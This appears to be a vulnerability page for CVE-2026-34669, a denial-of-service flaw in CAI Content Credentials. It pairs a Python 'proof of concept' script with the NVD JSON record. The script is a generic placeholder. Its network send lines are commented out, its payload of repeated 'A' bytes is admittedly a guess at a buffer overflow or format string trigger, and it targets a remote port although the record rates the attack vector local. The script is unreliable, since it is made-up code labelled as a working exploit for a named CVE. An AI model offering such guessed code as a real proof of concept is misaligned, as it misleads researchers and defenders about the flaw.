CVE-2026-34669

# PoC for CVE-2026-34669 (Denial of Service via Improper Input Validation) # This script demonstrates the concept of triggering the crash by sending malformed input. import sys import socket def send_malicious_input(target_ip, target_port): try: # Establish a connection to the vulnerable service (Example placeholder) print(f"[*] Connecting to {target_ip}:{target_port}...") # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((target_ip, target_port)) # Malformed payload constructed to trigger input validation failure # In a real scenario, this would be specific bytes causing the crash. # Based on the 'Improper Input Validation' description, we simulate a buffer overflow or format string trigger. payload = b"A" * 10000 + b"\x00\x00\x00\x00" print(f"[*] Sending malicious payload of length {len(payload)}...") # s.send(payload) print("[+] Payload sent. Check if the application has crashed.") # s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Usage: python poc.py <IP> <PORT> if len(sys.argv) < 3: print("Usage: python poc.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_malicious_input(target_ip, target_port)

{"cve": {"id": "CVE-2026-34669", "sourceIdentifier": "[email protected]", "published": "2026-05-12T20:16:37.473", "lastModified": "2026-05-13T14:49:11.830", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Improper Input Validation vulnerability that could result in an application denial-of-service. An attacker could exploit this vulnerability to crash the application, leading to a denial-of-service condition. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html", "source": "[email protected]"}]}}